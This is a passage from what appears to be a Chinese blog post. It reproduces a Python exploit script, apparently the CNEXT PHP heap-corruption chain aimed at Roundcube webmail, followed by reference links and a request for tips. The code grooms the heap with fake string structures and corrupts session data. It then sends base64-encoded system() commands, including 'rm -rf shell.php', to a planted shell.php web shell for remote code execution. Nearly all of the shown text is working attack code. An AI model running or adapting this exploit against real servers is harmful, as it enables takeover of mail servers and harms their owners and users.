    victim = build_equal_payload(victim)
    # our fake pointer points to a 0x500 chunk; when it gets freed, it'll be put in
    # the FL (and be ready to be allocated). We create other 0x500 allocs to protect
    # it
    protector = bytearray(string(0x500, b"P"))
    protector = build_equal_payload(protector)

    data.add("_from", ";".join([victim] * 30 + [protector] * 10))

    # Create an array of 0x500 chunks separated by a hole
    # like A-<hole>-B-<hole>-C-<hole>-D...
    # The buckets of $_SESSION will get allocated in one of the holes
    # TODO Reduce N probably
    n = 10
    for i in range(n * 2):
        data.marker(f"B[{i}]", 0x500, b"X")
    data.delete("B")

    # We create chunks filled with 0x00, so that when we alter the FL to point
    # there, it does not break with successive allocations.
    # In addition, we include a fake key and value in there, that we can reference
    # in our modified bucket

    for i in range(n):
        padder = Buffer(string_size(0x500))

        fake_key = Buffer(0x30)
        fake_key[0x00] = p32(100) + p32(6)  # gc
        fake_key[0x08] = p64(KEY_HASH)  # HASH
        fake_key[0x10] = p64(len(KEY))  # LEN
        fake_key[0x18] = KEY + b"\x00"
        fake_key = bytes(fake_key)

        fake_value = Buffer(0x280)
        fake_value[0x00] = p32(100) + p32(6)  # gc
        fake_value[0x08] = p64(0)  # HASH
        fake_value[0x10] = p64(len(VALUE))  # LEN
        fake_value[0x18] = VALUE + b"\x00"
        fake_value = bytes(fake_value)

        padder[0x028] = fake_key
        padder[0x258] = fake_value
        padder = bytes(padder)
        data.add(f"Z[{i}]", padder)

    data.add("_draft", "1")

    try:
        r = self.submit(data)
    except Exception:
        failure("Crash while dumping binary")

    if not r.code(500):
        msg_warning("No error, strangely")

    msg_success("Set session preferences, triggering!")

    response = self.session.get("/")
    command = "rm -rf shell.php; " + self.command
    command = base64.encode(command)
    command = f"""system(base64_decode('{command}'));"""
    response = self.session.post("/public_html/shell.php", {"x": command})

    if response.code(200):
        msg_success("Command executed")
    elif response.code(404):
        failure("Payload was not deserialized")
    else:
        failure(f"Unexpected error: {response.status_code}")

def run(self) -> None:
    self.session = ScopedSession(self.url)
    # Initial request to setup heap IDK
    self.session.get("/")
    # self.session.burp()
    self.login()
    self.get_form()
    heap = self.get_leak()
    self.overwrite_session_preferences(heap)
    self.session.close()

def string_size(n: int) -> int:
return n - 24 - 1

def string(n: int, c: bytes = b"A") -> bytes:
return c * string_size(n)

def overflow_string(n: int) -> bytes:
prefix = b"\xe2\x84\x96\xe2\x84\x96\xe2\x84\x96\n" * 11
suffix = b"\xe3\xb4\xbd"
fake_mail = b"F" * 0x600 + b","
added_size = n - 32 - len(prefix + suffix + fake_mail)
value = fake_mail + string(added_size, b"O") + prefix + suffix
return value

def unlock(size: int) -> bytes:
“”"
pwndbg> hex args[0]->value.str
+0000 0x7f3e803d6400 02 00 00 00 16 00 00 00 00 00 00 00 00 00 00 00 │…│…│
+0010 0x7f3e803d6410 58 03 00 00 00 00 00 00 69 66 20 28 77 69 6e 64 │X…│if.(wind│
+0020 0x7f3e803d6420 6f 77 2e 70 61 72 65 6e 74 20 26 26 20 70 61 72 │ow.paren│t.&&.par│
+0030 0x7f3e803d6430 65 6e 74 2e 72 63 6d 61 69 6c 29 20 70 61 72 65 │ent.rcma│il).pare│
+0040 0x7f3e803d6440 6e 74 2e 72 63 6d 61 69 6c 2e 69 66 72 61 6d 65 │nt.rcmai│l.iframe│
+0050 0x7f3e803d6450 5f 6c 6f 61 64 65 64 28 22 55 55 55 55 55 55 55 │_loaded(│"UUUUUUU│

+0050 0x7f3e803d6760 55 55 55 55 55 55 55 55 55 55 55 55 22 29 3b 0a │UUUUUUUU│UUUU");.│
+0060 0x7f3e803d6770 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │…│…│
“”"
return string(size - 70, b"U")

Exploit()






# 参考

https://mp.weixin.qq.com/s/hZ9yaa2exQC5hr4OKWNUsw

https://blog.csdn.net/qq_52630607/article/details/128347260

http://wiki.allinsec.cn/?p=306

[raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py](https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py)
制作不易,如若感觉写的不错,欢迎打赏